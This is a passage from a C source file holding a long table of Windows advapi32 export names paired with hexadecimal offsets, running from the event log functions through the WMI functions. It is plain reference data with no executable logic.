NULL, NULL}, {"ElfBackupEventLogFileA", 0x00068AE1, NULL, NULL}, {"ElfBackupEventLogFileW", 0x00068899, NULL, NULL}, {"ElfChangeNotify", 0x00068726, NULL, NULL}, {"ElfClearEventLogFileA", 0x00068A79, NULL, NULL}, {"ElfClearEventLogFileW", 0x00068831, NULL, NULL}, {"ElfCloseEventLog", 0x000254DE, NULL, NULL}, {"ElfDeregisterEventSource", 0x000279F4, NULL, NULL}, {"ElfFlushEventLog", 0x00068B81, NULL, NULL}, {"ElfNumberOfRecords", 0x00025DAF, NULL, NULL}, {"ElfOldestRecord", 0x00025E44, NULL, NULL}, {"ElfOpenBackupEventLogA", 0x000689E1, NULL, NULL}, {"ElfOpenBackupEventLogW", 0x00068799, NULL, NULL}, {"ElfOpenEventLogA", 0x00025EF7, NULL, NULL}, {"ElfOpenEventLogW", 0x000210CF, NULL, NULL}, {"ElfReadEventLogA", 0x00025CD7, NULL, NULL}, {"ElfReadEventLogW", 0x00068939, NULL, NULL}, {"ElfRegisterEventSourceA", 0x00027BA7, NULL, NULL}, {"ElfRegisterEventSourceW", 0x00028083, NULL, NULL}, {"ElfReportEventA", 0x00027DD5, NULL, NULL}, {"ElfReportEventW", 0x000237A5, NULL, NULL}, {"EnableTrace", 0x0005A5D5, NULL, NULL}, {"EncryptFileA", 0x000436AC, NULL, NULL}, {"EncryptFileW", 0x00043390, NULL, NULL}, {"EncryptedFileKeyInfo", 0x00043651, NULL, NULL}, {"EncryptionDisable", 0x00043625, NULL, NULL}, {"EnumDependentServicesA", 0x00067529, NULL, NULL}, {"EnumDependentServicesW", 0x000675E1, NULL, NULL}, {"EnumServiceGroupW", 0x00066A89, NULL, NULL}, {"EnumServicesStatusA", 0x00026B47, NULL, NULL}, {"EnumServicesStatusExA", 0x00066C2F, NULL, NULL}, {"EnumServicesStatusExW", 0x000669B8, NULL, NULL}, {"EnumServicesStatusW", 0x00067D61, NULL, NULL}, {"EnumerateTraceGuids", 0x0005AE81, NULL, NULL}, {"EqualDomainSid", 0x0003DF09, NULL, NULL}, {"EqualPrefixSid", 0x0003D2E9, NULL, NULL}, {"EqualSid", 0x0000F07A, NULL, NULL}, {"FileEncryptionStatusA", 0x000437D9, NULL, NULL}, {"FileEncryptionStatusW", 0x00043412, NULL, NULL}, {"FindFirstFreeAce", 0x0003D4FC, NULL, NULL}, {"FlushTraceA", 0x0005B0BB, NULL, NULL}, {"FlushTraceW", 0x0005B0DC, NULL, NULL}, {"FreeEncryptedFileKeyInfo", 0x0004368C, NULL, NULL}, {"FreeEncryptionCertificateHashList", 0x000434ED, NULL, NULL}, {"FreeInheritedFromArray", 0x000524B2, NULL, NULL}, {"FreeSid", 0x00007CB8, NULL, NULL}, {"GetAccessPermissionsForObjectA", 0x00053869, NULL, NULL}, {"GetAccessPermissionsForObjectW", 0x00053781, NULL, NULL}, {"GetAce", 0x00014C33, NULL, NULL}, {"GetAclInformation", 0x00027E78, NULL, NULL}, {"GetAuditedPermissionsFromAclA", 0x00051C5F, NULL, NULL}, {"GetAuditedPermissionsFromAclW", 0x00051C0E, NULL, NULL}, {"GetCurrentHwProfileA", 0x0003CA61, NULL, NULL}, {"GetCurrentHwProfileW", 0x00020A75, NULL, NULL}, {"GetEffectiveRightsFromAclA", 0x00051B97, NULL, NULL}, {"GetEffectiveRightsFromAclW", 0x00051B37, NULL, NULL}, {"GetEventLogInformation", 0x00020FE8, NULL, NULL}, {"GetExplicitEntriesFromAclA", 0x00051C01, NULL, NULL}, {"GetExplicitEntriesFromAclW", 0x00051BE3, NULL, NULL}, {"GetFileSecurityA", 0x0003D723, NULL, NULL}, {"GetFileSecurityW", 0x0002C003, NULL, NULL}, {"GetInformationCodeAuthzLevelW", 0x0001FCF0, NULL, NULL}, {"GetInformationCodeAuthzPolicyW", 0x000299DD, NULL, NULL}, {"GetInheritanceSourceA", 0x000524A7, NULL, NULL}, {"GetInheritanceSourceW", 0x0005246C, NULL, NULL}, {"GetKernelObjectSecurity", 0x00014F65, NULL, NULL}, {"GetLengthSid", 0x00007D5C, NULL, NULL}, {"GetLocalManagedApplicationData", 0x0004D48B, NULL, NULL}, {"GetLocalManagedApplications", 0x0004D25A, NULL, NULL}, {"GetManagedApplicationCategories", 0x0004D767, NULL, NULL}, {"GetManagedApplications", 0x0004D6AF, NULL, NULL}, {"GetMultipleTrusteeA", 0x00052698, NULL, NULL}, {"GetMultipleTrusteeOperationA", 0x0005267C, NULL, NULL}, {"GetMultipleTrusteeOperationW", 0x0005267C, NULL, NULL}, {"GetMultipleTrusteeW", 0x00052698, NULL, NULL}, {"GetNamedSecurityInfoA", 0x000518E4, NULL, NULL}, {"GetNamedSecurityInfoExA", 0x00052881, NULL, NULL}, {"GetNamedSecurityInfoExW", 0x000526B3, NULL, NULL}, {"GetNamedSecurityInfoW", 0x00014FE6, NULL, NULL}, {"GetNumberOfEventLogRecords", 0x00025D8B, NULL, NULL}, {"GetOldestEventLogRecord", 0x00025E20, NULL, NULL}, {"GetOverlappedAccessResults", 0x000535F1, NULL, NULL}, {"GetPrivateObjectSecurity", 0x0003D689, NULL, NULL}, {"GetSecurityDescriptorControl", 0x00014BB9, NULL, NULL}, {"GetSecurityDescriptorDacl", 0x000073E7, NULL, NULL}, {"GetSecurityDescriptorGroup", 0x00014B87, NULL, NULL}, {"GetSecurityDescriptorLength", 0x000074BB, NULL, NULL}, {"GetSecurityDescriptorOwner", 0x00014B55, NULL, NULL}, {"GetSecurityDescriptorRMControl", 0x0003DDE0, NULL, NULL}, {"GetSecurityDescriptorSacl", 0x0003D52C, NULL, NULL}, {"GetSecurityInfo", 0x00024E48, NULL, NULL}, {"GetSecurityInfoExA", 0x00052C32, NULL, NULL}, {"GetSecurityInfoExW", 0x00052A2F, NULL, NULL}, {"GetServiceDisplayNameA", 0x00067699, NULL, NULL}, {"GetServiceDisplayNameW", 0x00067739, NULL, NULL}, {"GetServiceKeyNameA", 0x000677D9, NULL, NULL}, {"GetServiceKeyNameW", 0x00067879, NULL, NULL}, {"GetSidIdentifierAuthority", 0x0000F23B, NULL, NULL}, {"GetSidLengthRequired", 0x00015569, NULL, NULL}, {"GetSidSubAuthority", 0x00015550, NULL, NULL}, {"GetSidSubAuthorityCount", 0x00015582, NULL, NULL}, {"GetTokenInformation", 0x00007305, NULL, NULL}, {"GetTraceEnableFlags", 0x0005AD86, NULL, NULL}, {"GetTraceEnableLevel", 0x0005AD41, NULL, NULL}, {"GetTraceLoggerHandle", 0x0005AC89, NULL, NULL}, {"GetTrusteeFormA", 0x0005265F, NULL, NULL}, {"GetTrusteeFormW", 0x0005265F, NULL, NULL}, {"GetTrusteeNameA", 0x0005262F, NULL, NULL}, {"GetTrusteeNameW", 0x0005262F, NULL, NULL}, {"GetTrusteeTypeA", 0x00052643, NULL, NULL}, {"GetTrusteeTypeW", 0x00052643, NULL, NULL}, {"GetUserNameA", 0x000154C4, NULL, NULL}, {"GetUserNameW", 0x0001496D, NULL, NULL}, {"GetWindowsAccountDomainSid", 0x0003DE21, NULL, NULL}, {"I_ScIsSecurityProcess", 0x000211E8, NULL, NULL}, {"I_ScPnPGetServiceName", 0x00026EA0, NULL, NULL}, {"I_ScSendTSMessage", 0x00024F2B, NULL, NULL}, {"I_ScSetServiceBitsA", 0x00066B69, NULL, NULL}, {"I_ScSetServiceBitsW", 0x0001E429, NULL, NULL}, {"IdentifyCodeAuthzLevelW", 0x00009EC8, NULL, NULL}, {"ImpersonateAnonymousToken", 0x00014C5B, NULL, NULL}, {"ImpersonateLoggedOnUser", 0x0000DA49, NULL, NULL}, {"ImpersonateNamedPipeClient", 0x00007426, NULL, NULL}, {"ImpersonateSelf", 0x00014EE0, NULL, NULL}, {"InitializeAcl", 0x00007D09, NULL, NULL}, {"InitializeSecurityDescriptor", 0x000079C6, NULL, NULL}, {"InitializeSid", 0x0001568B, NULL, NULL}, {"InitiateSystemShutdownA", 0x00064D7F, NULL, NULL}, {"InitiateSystemShutdownExA", 0x00064E1A, NULL, NULL}, {"InitiateSystemShutdownExW", 0x00064CE5, NULL, NULL}, {"InitiateSystemShutdownW", 0x00064C51, NULL, NULL}, {"InstallApplication", 0x0004D7B7, NULL, NULL}, {"IsTextUnicode", 0x0002BD35, NULL, NULL}, {"IsTokenRestricted", 0x000148C9, NULL, NULL}, {"IsTokenUntrusted", 0x0004EC9E, NULL, NULL}, {"IsValidAcl", 0x00027F17, NULL, NULL}, {"IsValidSecurityDescriptor", 0x00014C11, NULL, NULL}, {"IsValidSid", 0x0000F219, NULL, NULL}, {"IsWellKnownSid", 0x000278AB, NULL, NULL}, {"LockServiceDatabase", 0x00067919, NULL, NULL}, {"LogonUserA", 0x0004100E, NULL, NULL}, {"LogonUserExA", 0x0004103B, NULL, NULL}, {"LogonUserExExW", 0x0004012A, NULL, NULL}, {"LogonUserExW", 0x000245A3, NULL, NULL}, {"LogonUserW", 0x000400FD, NULL, NULL}, {"LookupAccountNameA", 0x0003D78F, NULL, NULL}, {"LookupAccountNameW", 0x00015B59, NULL, NULL}, {"LookupAccountSidA", 0x0003D8EC, NULL, NULL}, {"LookupAccountSidW", 0x00015707, NULL, NULL}, {"LookupPrivilegeDisplayNameA", 0x0003E46C, NULL, NULL}, {"LookupPrivilegeDisplayNameW", 0x0003DB6F, NULL, NULL}, {"LookupPrivilegeNameA", 0x0003E34E, NULL, NULL}, {"LookupPrivilegeNameW", 0x0003DA6B, NULL, NULL}, {"LookupPrivilegeValueA", 0x0002C238, NULL, NULL}, {"LookupPrivilegeValueW", 0x0002B8DF, NULL, NULL}, {"LookupSecurityDescriptorPartsA", 0x00052180, NULL, NULL}, {"LookupSecurityDescriptorPartsW", 0x00051FD1, NULL, NULL}, {"LsaAddAccountRights", 0x0004ABF1, NULL, NULL}, {"LsaAddPrivilegesToAccount", 0x0004BB09, NULL, NULL}, {"LsaClearAuditLog", 0x0004B069, NULL, NULL}, {"LsaClose", 0x00011EF4, NULL, NULL}, {"LsaCreateAccount", 0x0004B431, NULL, NULL}, {"LsaCreateSecret", 0x0004B991, NULL, NULL}, {"LsaCreateTrustedDomain", 0x0004B539, NULL, NULL}, {"LsaCreateTrustedDomainEx", 0x0004A1B1, NULL, NULL}, {"LsaDelete", 0x0004B201, NULL, NULL}, {"LsaDeleteTrustedDomain", 0x00049965, NULL, NULL}, {"LsaEnumerateAccountRights", 0x000160AF, NULL, NULL}, {"LsaEnumerateAccounts", 0x0004B4A1, NULL, NULL}, {"LsaEnumerateAccountsWithUserRight", 0x0004AB39, NULL, NULL}, {"LsaEnumeratePrivileges", 0x0004B8F9, NULL, NULL}, {"LsaEnumeratePrivilegesOfAccount", 0x0004BA99, NULL, NULL}, {"LsaEnumerateTrustedDomains", 0x0004B855, NULL, NULL}, {"LsaEnumerateTrustedDomainsEx", 0x0004A10D, NULL, NULL}, {"LsaFreeMemory", 0x00012DDE, NULL, NULL}, {"LsaGetQuotasForAccount", 0x0004BBE9, NULL, NULL}, {"LsaGetRemoteUserName", 0x0004C155, NULL, NULL}, {"LsaGetSystemAccessAccount", 0x0004BCC9, NULL, NULL}, {"LsaGetUserName", 0x0001E2D2, NULL, NULL}, {"LsaICLookupNames", 0x00015D38, NULL, NULL}, {"LsaICLookupNamesWithCreds", 0x0004C271, NULL, NULL}, {"LsaICLookupSids", 0x000159C5, NULL, NULL}, {"LsaICLookupSidsWithCreds", 0x0004C401, NULL, NULL}, {"LsaLookupNames2", 0x00015CEE, NULL, NULL}, {"LsaLookupNames", 0x0004C5E9, NULL, NULL}, {"LsaLookupPrivilegeDisplayName", 0x0004B159, NULL, NULL}, {"LsaLookupPrivilegeName", 0x0004B0D1, NULL, NULL}, {"LsaLookupPrivilegeValue", 0x0002B97D, NULL, NULL}, {"LsaLookupSids", 0x000158BB, NULL, NULL}, {"LsaNtStatusToWinError", 0x0001E01B, NULL, NULL}, {"LsaOpenAccount", 0x0004BA29, NULL, NULL}, {"LsaOpenPolicy", 0x00011E27, NULL, NULL}, {"LsaOpenPolicySce", 0x0004AEA0, NULL, NULL}, {"LsaOpenSecret", 0x0004BDB9, NULL, NULL}, {"LsaOpenTrustedDomain", 0x0004B5B1, NULL, NULL}, {"LsaOpenTrustedDomainByName", 0x0004A3C1, NULL, NULL}, {"LsaQueryDomainInformationPolicy", 0x0004A2C5, NULL, NULL}, {"LsaQueryForestTrustInformation", 0x0004A431, NULL, NULL}, {"LsaQueryInfoTrustedDomain", 0x0004B621, NULL, NULL}, {"LsaQueryInformationPolicy", 0x00012E07, NULL, NULL}, {"LsaQuerySecret", 0x0004BF8D, NULL, NULL}, {"LsaQuerySecurityObject", 0x0004B2CD, NULL, NULL}, {"LsaQueryTrustedDomainInfo", 0x00049528, NULL, NULL}, {"LsaQueryTrustedDomainInfoByName", 0x00049CE7, NULL, NULL}, {"LsaRemoveAccountRights", 0x0004AC91, NULL, NULL}, {"LsaRemovePrivilegesFromAccount", 0x0004BB79, NULL, NULL}, {"LsaRetrievePrivateData", 0x0001DE9E, NULL, NULL}, {"LsaSetDomainInformationPolicy", 0x0004A341, NULL, NULL}, {"LsaSetForestTrustInformation", 0x0004A4A1, NULL, NULL}, {"LsaSetInformationPolicy", 0x0004AFA9, NULL, NULL}, {"LsaSetInformationTrustedDomain", 0x0004B6C1, NULL, NULL}, {"LsaSetQuotasForAccount", 0x0004BC59, NULL, NULL}, {"LsaSetSecret", 0x0004BE29, NULL, NULL}, {"LsaSetSecurityObject", 0x0004B359, NULL, NULL}, {"LsaSetSystemAccessAccount", 0x0004BD41, NULL, NULL}, {"LsaSetTrustedDomainInfoByName", 0x00049F92, NULL, NULL}, {"LsaSetTrustedDomainInformation", 0x00049795, NULL, NULL}, {"LsaStorePrivateData", 0x0002D03F, NULL, NULL}, {"MD4Final", 0x0000879F, NULL, NULL}, {"MD4Init", 0x0000876B, NULL, NULL}, {"MD4Update", 0x00008D04, NULL, NULL}, {"MD5Final", 0x000170B2, NULL, NULL}, {"MD5Init", 0x00017078, NULL, NULL}, {"MD5Update", 0x00017152, NULL, NULL}, {"MSChapSrvChangePassword2", 0x000457E7, NULL, NULL}, {"MSChapSrvChangePassword", 0x00045603, NULL, NULL}, {"MakeAbsoluteSD2", 0x0003DDB5, NULL, NULL}, {"MakeAbsoluteSD", 0x00027ED1, NULL, NULL}, {"MakeSelfRelativeSD", 0x0000745E, NULL, NULL}, {"MapGenericMask", 0x0001484B, NULL, NULL}, {"NotifyBootConfigStatus", 0x00020F79, NULL, NULL}, {"NotifyChangeEventLog", 0x0003C23B, NULL, NULL}, {"ObjectCloseAuditAlarmA", 0x0003E21C, NULL, NULL}, {"ObjectCloseAuditAlarmW", 0x00014813, NULL, NULL}, {"ObjectDeleteAuditAlarmA", 0x0003E270, NULL, NULL}, {"ObjectDeleteAuditAlarmW", 0x0003D258, NULL, NULL}, {"ObjectOpenAuditAlarmA", 0x0003E0D6, NULL, NULL}, {"ObjectOpenAuditAlarmW", 0x0001485C, NULL, NULL}, {"ObjectPrivilegeAuditAlarmA", 0x0003E1BF, NULL, NULL}, {"ObjectPrivilegeAuditAlarmW", 0x0003D211, NULL, NULL}, {"OpenBackupEventLogA", 0x0003C949, NULL, NULL}, {"OpenBackupEventLogW", 0x0003C490, NULL, NULL}, {"OpenEncryptedFileRawA", 0x00043874, NULL, NULL}, {"OpenEncryptedFileRawW", 0x0004343E, NULL, NULL}, {"OpenEventLogA", 0x00025EB0, NULL, NULL}, {"OpenEventLogW", 0x00021088, NULL, NULL}, {"OpenProcessToken", 0x0000798B, NULL, NULL}, {"OpenSCManagerA", 0x000269AE, NULL, NULL}, {"OpenSCManagerW", 0x00016F55, NULL, NULL}, {"OpenServiceA", 0x00024C66, NULL, NULL}, {"OpenServiceW", 0x00016FFD, NULL, NULL}, {"OpenThreadToken", 0x000072CC, NULL, NULL}, {"OpenTraceA", 0x0005853A, NULL, NULL}, {"OpenTraceW", 0x00058651, NULL, NULL}, {"PrivilegeCheck", 0x0002BAB4, NULL, NULL}, {"PrivilegedServiceAuditAlarmA", 0x0003E2C4, NULL, NULL}, {"PrivilegedServiceAuditAlarmW", 0x0003D296, NULL, NULL}, {"ProcessIdleTasks", 0x00046F19, NULL, NULL}, {"ProcessTrace", 0x00058E84, NULL, NULL}, {"QueryAllTracesA", 0x0005AB39, NULL, NULL}, {"QueryAllTracesW", 0x0002CBF1, NULL, NULL}, {"QueryRecoveryAgentsOnEncryptedFile", 0x0004350D, NULL, NULL}, {"QueryServiceConfig2A", 0x00067999, NULL, NULL}, {"QueryServiceConfig2W", 0x00067AB1, NULL, NULL}, {"QueryServiceConfigA", 0x00021596, NULL, NULL}, {"QueryServiceConfigW", 0x00026F92, NULL, NULL}, {"QueryServiceLockStatusA", 0x00067BC9, NULL, NULL}, {"QueryServiceLockStatusW", 0x00067C59, NULL, NULL}, {"QueryServiceObjectSecurity", 0x00066D01, NULL, NULL}, {"QueryServiceStatus", 0x00016D50, NULL, NULL}, {"QueryServiceStatusEx", 0x0002120A, NULL, NULL}, {"QueryTraceA", 0x0005AFF5, NULL, NULL}, {"QueryTraceW", 0x0005B016, NULL, NULL}, {"QueryUsersOnEncryptedFile", 0x000434B2, NULL, NULL}, {"QueryWindows31FilesMigration", 0x00021B21, NULL, NULL}, {"ReadEncryptedFileRaw", 0x00043470, NULL, NULL}, {"ReadEventLogA", 0x00025C9C, NULL, NULL}, {"ReadEventLogW", 0x0003C823, NULL, NULL}, {"RegCloseKey", 0x00006C27, NULL, NULL}, {"RegConnectRegistryA", 0x0006512A, NULL, NULL}, {"RegConnectRegistryW", 0x0002817A, NULL, NULL}, {"RegCreateKeyA", 0x0002BCF3, NULL, NULL}, {"RegCreateKeyExA", 0x0000E9F4, NULL, NULL}, {"RegCreateKeyExW", 0x0000776C, NULL, NULL}, {"RegCreateKeyW", 0x0002BA55, NULL, NULL}, {"RegDeleteKeyA", 0x000142A0, NULL, NULL}, {"RegDeleteKeyW", 0x0001559B, NULL, NULL}, {"RegDeleteValueA", 0x0000ECE5, NULL, NULL}, {"RegDeleteValueW", 0x0000EDF1, NULL, NULL}, {"RegDisablePredefinedCache", 0x0002837B, NULL, NULL}, {"RegDisablePredefinedCacheEx", 0x00064F7D, NULL, NULL}, {"RegEnumKeyA", 0x000153B8, NULL, NULL}, {"RegEnumKeyExA", 0x000151B6, NULL, NULL}, {"RegEnumKeyExW", 0x00007BD9, NULL, NULL}, {"RegEnumKeyW", 0x0000D5E4, NULL, NULL}, {"RegEnumValueA", 0x00029BBF, NULL, NULL}, {"RegEnumValueW", 0x00007EED, NULL, NULL}, {"RegFlushKey", 0x00024CE0, NULL, NULL}, {"RegGetKeySecurity", 0x00023918, NULL, NULL}, {"RegLoadKeyA", 0x00065183, NULL, NULL}, {"RegLoadKeyW", 0x00020D86, NULL, NULL}, {"RegNotifyChangeKeyValue", 0x0000D8FE, NULL, NULL}, {"RegOpenCurrentUser", 0x0000811B, NULL, NULL}, {"RegOpenKeyA", 0x0000EFC8, NULL, NULL}, {"RegOpenKeyExA", 0x00007852, NULL, NULL}, {"RegOpenKeyExW", 0x00006AAF, NULL, NULL}, {"RegOpenKeyW", 0x00007946, NULL, NULL}, {"RegOpenUserClassesRoot", 0x0002B461, NULL, NULL}, {"RegOverridePredefKey", 0x00064F14, NULL, NULL}, {"RegQueryInfoKeyA", 0x00014332, NULL, NULL}, {"RegQueryInfoKeyW", 0x000149CE, NULL, NULL}, {"RegQueryMultipleValuesA", 0x0006568F, NULL, NULL}, {"RegQueryMultipleValuesW", 0x000659F1, NULL, NULL}, {"RegQueryValueA", 0x0002BB8D, NULL, NULL}, {"RegQueryValueExA", 0x00007ABB, NULL, NULL}, {"RegQueryValueExW", 0x00006FFF, NULL, NULL}, {"RegQueryValueW", 0x0000D87A, NULL, NULL}, {"RegReplaceKeyA", 0x000653F7, NULL, NULL}, {"RegReplaceKeyW", 0x000655C0, NULL, NULL}, {"RegRestoreKeyA", 0x00065C4D, NULL, NULL}, {"RegRestoreKeyW", 0x00065CFE, NULL, NULL}, {"RegSaveKeyA", 0x00065D92, NULL, NULL}, {"RegSaveKeyExA", 0x00065F51, NULL, NULL}, {"RegSaveKeyExW", 0x00066046, NULL, NULL}, {"RegSaveKeyW", 0x00065E84, NULL, NULL}, {"RegSetKeySecurity", 0x00023AFD, NULL, NULL}, {"RegSetValueA", 0x0002C79E, NULL, NULL}, {"RegSetValueExA", 0x0000EAE7, NULL, NULL}, {"RegSetValueExW", 0x0000D767, NULL, NULL}, {"RegSetValueW", 0x00066116, NULL, NULL}, {"RegUnLoadKeyA", 0x000652C5, NULL, NULL}, {"RegUnLoadKeyW", 0x00065366, NULL, NULL}, {"RegisterEventSourceA", 0x00027B60, NULL, NULL}, {"RegisterEventSourceW", 0x0002803C, NULL, NULL}, {"RegisterIdleTask", 0x000208D2, NULL, NULL}, {"RegisterServiceCtrlHandlerA", 0x00024EC6, NULL, NULL}, {"RegisterServiceCtrlHandlerExA", 0x0001FEAB, NULL, NULL}, {"RegisterServiceCtrlHandlerExW", 0x00023E49, NULL, NULL}, {"RegisterServiceCtrlHandlerW", 0x00023E77, NULL, NULL}, {"RegisterTraceGuidsA", 0x000295A1, NULL, NULL}, {"RegisterTraceGuidsW", 0x00029289, NULL, NULL}, {"RemoveTraceCallback", 0x00056331, NULL, NULL}, {"RemoveUsersFromEncryptedFile", 0x00043548, NULL, NULL}, {"ReportEventA", 0x00027CB2, NULL, NULL}, {"ReportEventW", 0x00023681, NULL, NULL}, {"RevertToSelf", 0x00007338, NULL, NULL}, {"SaferCloseLevel", 0x0000AF98, NULL, NULL}, {"SaferComputeTokenFromLevel", 0x0000AB3D, NULL, NULL}, {"SaferCreateLevel", 0x0004E9C5, NULL, NULL}, {"SaferGetLevelInformation", 0x0001FCF0, NULL, NULL}, {"SaferGetPolicyInformation", 0x000299DD, NULL, NULL}, {"SaferIdentifyLevel", 0x00009EC8, NULL, NULL}, {"SaferRecordEventLogEntry", 0x0004F78D, NULL, NULL}, {"SaferSetLevelInformation", 0x0005054D, NULL, NULL}, {"SaferSetPolicyInformation", 0x0004F3E0, NULL, NULL}, {"SaferiChangeRegistryScope", 0x00050985, NULL, NULL}, {"SaferiCompareTokenLevels", 0x000268C3, NULL, NULL}, {"SaferiIsExecutableFileType", 0x000298AB, NULL, NULL}, {"SaferiPopulateDefaultsInRegistry", 0x0001EF84, NULL, NULL}, {"SaferiRecordEventLogEntry", 0x0004F78D, NULL, NULL}, {"SaferiReplaceProcessThreadTokens", 0x000405AA, NULL, NULL}, {"SaferiSearchMatchingHashRules", 0x0002C8B1, NULL, NULL}, {"SetAclInformation", 0x0003D30E, NULL, NULL}, {"SetEntriesInAccessListA", 0x000532D4, NULL, NULL}, {"SetEntriesInAccessListW", 0x0005329B, NULL, NULL}, {"SetEntriesInAclA", 0x00051979, NULL, NULL}, {"SetEntriesInAclW", 0x00014EC2, NULL, NULL}, {"SetEntriesInAuditListA", 0x00053334, NULL, NULL}, {"SetEntriesInAuditListW", 0x0005330D, NULL, NULL}, {"SetFileSecurityA", 0x0003D6BD, NULL, NULL}, {"SetFileSecurityW", 0x0001A3E1, NULL, NULL}, {"SetInformationCodeAuthzLevelW", 0x0005054D, NULL, NULL}, {"SetInformationCodeAuthzPolicyW", 0x0004F3E0, NULL, NULL}, {"SetKernelObjectSecurity", 0x00014E9A, NULL, NULL}, {"SetNamedSecurityInfoA", 0x00051930, NULL, NULL}, {"SetNamedSecurityInfoExA", 0x00053B99, NULL, NULL}, {"SetNamedSecurityInfoExW", 0x0005399E, NULL, NULL}, {"SetNamedSecurityInfoW", 0x00020CF5, NULL, NULL}, {"SetPrivateObjectSecurity", 0x0003D61E, NULL, NULL}, {"SetPrivateObjectSecurityEx", 0x0003D652, NULL, NULL}, {"SetSecurityDescriptorControl", 0x0001E531, NULL, NULL}, {"SetSecurityDescriptorDacl", 0x000079EB, NULL, NULL}, {"SetSecurityDescriptorGroup", 0x00014B2D, NULL, NULL}, {"SetSecurityDescriptorOwner", 0x00014B05, NULL, NULL}, {"SetSecurityDescriptorRMControl", 0x0003DE05, NULL, NULL}, {"SetSecurityDescriptorSacl", 0x00024E8E, NULL, NULL}, {"SetSecurityInfo", 0x00024DF2, NULL, NULL}, {"SetSecurityInfoExA", 0x00054059, NULL, NULL}, {"SetSecurityInfoExW", 0x00053E51, NULL, NULL}, {"SetServiceBits", 0x00066BF9, NULL, NULL}, {"SetServiceObjectSecurity", 0x00066D81, NULL, NULL}, {"SetServiceStatus", 0x00023251, NULL, NULL}, {"SetThreadToken", 0x0000F193, NULL, NULL}, {"SetTokenInformation", 0x0003CBCF, NULL, NULL}, {"SetTraceCallback", 0x000561B4, NULL, NULL}, {"SetUserFileEncryptionKey", 0x000435BE, NULL, NULL}, {"StartServiceA", 0x0001FB58, NULL, NULL}, {"StartServiceCtrlDispatcherA", 0x00067F09, NULL, NULL}, {"StartServiceCtrlDispatcherW", 0x0002359D, NULL, NULL}, {"StartServiceW", 0x00023E94, NULL, NULL}, {"StartTraceA", 0x000594FB, NULL, NULL}, {"StartTraceW", 0x00059A61, NULL, NULL}, {"StopTraceA", 0x0005B037, NULL, NULL}, {"StopTraceW", 0x0005B058, NULL, NULL}, {"SynchronizeWindows31FilesAndWindowsNTRegistry", 0x0003EEB9, NULL, NULL}, {"SystemFunction001", 0x0001D7BA, NULL, NULL}, {"SystemFunction002", 0x0001CF65, NULL, NULL}, {"SystemFunction003", 0x00025416, NULL, NULL}, {"SystemFunction004", 0x0001D917, NULL, NULL}, {"SystemFunction005", 0x0001DC9F, NULL, NULL}, {"SystemFunction006", 0x00025387, NULL, NULL}, {"SystemFunction007", 0x000252AE, NULL, NULL}, {"SystemFunction008", 0x0002554D, NULL, NULL}, {"SystemFunction009", 0x00025540, NULL, NULL}, {"SystemFunction010", 0x000255FC, NULL, NULL}, {"SystemFunction011", 0x000255EF, NULL, NULL}, {"SystemFunction012", 0x00047091, NULL, NULL}, {"SystemFunction013", 0x000470CB, NULL, NULL}, {"SystemFunction014", 0x00047105, NULL, NULL}, {"SystemFunction015", 0x00047112, NULL, NULL}, {"SystemFunction016", 0x0004711F, NULL, NULL}, {"SystemFunction017", 0x00047155, NULL, NULL}, {"SystemFunction018", 0x0004718B, NULL, NULL}, {"SystemFunction019", 0x00047198, NULL, NULL}, {"SystemFunction020", 0x00047105, NULL, NULL}, {"SystemFunction021", 0x00047112, NULL, NULL}, {"SystemFunction022", 0x00047105, NULL, NULL}, {"SystemFunction023", 0x00047112, NULL, NULL}, {"SystemFunction024", 0x000471A5, NULL, NULL}, {"SystemFunction025", 0x00024BD4, NULL, NULL}, {"SystemFunction026", 0x000471FD, NULL, NULL}, {"SystemFunction027", 0x00024BC7, NULL, NULL}, {"SystemFunction028", 0x0001DD8D, NULL, NULL}, {"SystemFunction029", 0x0001DB2C, NULL, NULL}, {"SystemFunction030", 0x00024BA5, NULL, NULL}, {"SystemFunction031", 0x00024BA5, NULL, NULL}, {"SystemFunction032", 0x0004720A, NULL, NULL}, {"SystemFunction033", 0x0004720A, NULL, NULL}, {"SystemFunction034", 0x0001DDC6, NULL, NULL}, {"SystemFunction035", 0x00018185, NULL, NULL}, {"SystemFunction036", 0x000082A2, NULL, NULL}, {"SystemFunction040", 0x00027014, NULL, NULL}, {"SystemFunction041", 0x0001E4D2, NULL, NULL}, {"TraceEvent", 0x0005A901, NULL, NULL}, {"TraceEventInstance", 0x0005AA01, NULL, NULL}, {"TraceMessage", 0x0005B355, NULL, NULL}, {"TraceMessageVa", 0x0005B3E9, NULL, NULL}, {"TreeResetNamedSecurityInfoA", 0x00052461, NULL, NULL}, {"TreeResetNamedSecurityInfoW", 0x000523DF, NULL, NULL}, {"TrusteeAccessToObjectA", 0x00053439, NULL, NULL}, {"TrusteeAccessToObjectW", 0x0005335B, NULL, NULL}, {"UninstallApplication", 0x0004D20C, NULL, NULL}, {"UnlockServiceDatabase", 0x00067CE9, NULL, NULL}, {"UnregisterIdleTask", 0x00046FA9, NULL, NULL}, {"UnregisterTraceGuids", 0x000256DD, NULL, NULL}, {"UpdateTraceA", 0x0005B079, NULL, NULL}, {"UpdateTraceW", 0x0005B09A, NULL, NULL}, {"WdmWmiServiceMain", 0x0005B4DA, NULL, NULL}, {"WmiCloseBlock", 0x0001FE04, NULL, NULL}, {"WmiCloseTraceWithCursor", 0x00057871, NULL, NULL}, {"WmiConvertTimestamp", 0x000578BE, NULL, NULL}, {"WmiDevInstToInstanceNameA", 0x0005C681, NULL, NULL}, {"WmiDevInstToInstanceNameW", 0x0005C73D, NULL, NULL}, {"WmiEnumerateGuids", 0x0005C4C9, NULL, NULL}, {"WmiExecuteMethodA", 0x0005CA62, NULL, NULL}, {"WmiExecuteMethodW", 0x0005BFB5, NULL, NULL}, {"WmiFileHandleToInstanceNameA", 0x0005CAD6, NULL, NULL}, {"WmiFileHandleToInstanceNameW", 0x0005C2F5, NULL, NULL}, {"WmiFreeBuffer", 0x000283E3, NULL, NULL}, {"WmiGetFirstTraceOffset", 0x00056E4A, NULL, NULL}, {"WmiGetNextEvent", 0x000578E0, NULL, NULL}, {"WmiGetTraceHeader", 0x00056FB2, NULL, NULL}, {"WmiMofEnumerateResourcesA", 0x0005CCFC, NULL, NULL}, {"WmiMofEnumerateResourcesW", 0x0001EC89, NULL, NULL}, {"WmiNotificationRegistrationA", 0x0005C2CD, NULL, NULL}, {"WmiNotificationRegistrationW", 0x00028CAC, NULL, NULL}, {"WmiOpenBlock", 0x00028E63, NULL, NULL}, {"WmiOpenTraceWithCursor", 0x000589F8, NULL, NULL}, {"WmiParseTraceEvent", 0x00058818, NULL, NULL}, {"WmiQueryAllDataA", 0x0005C8A8, 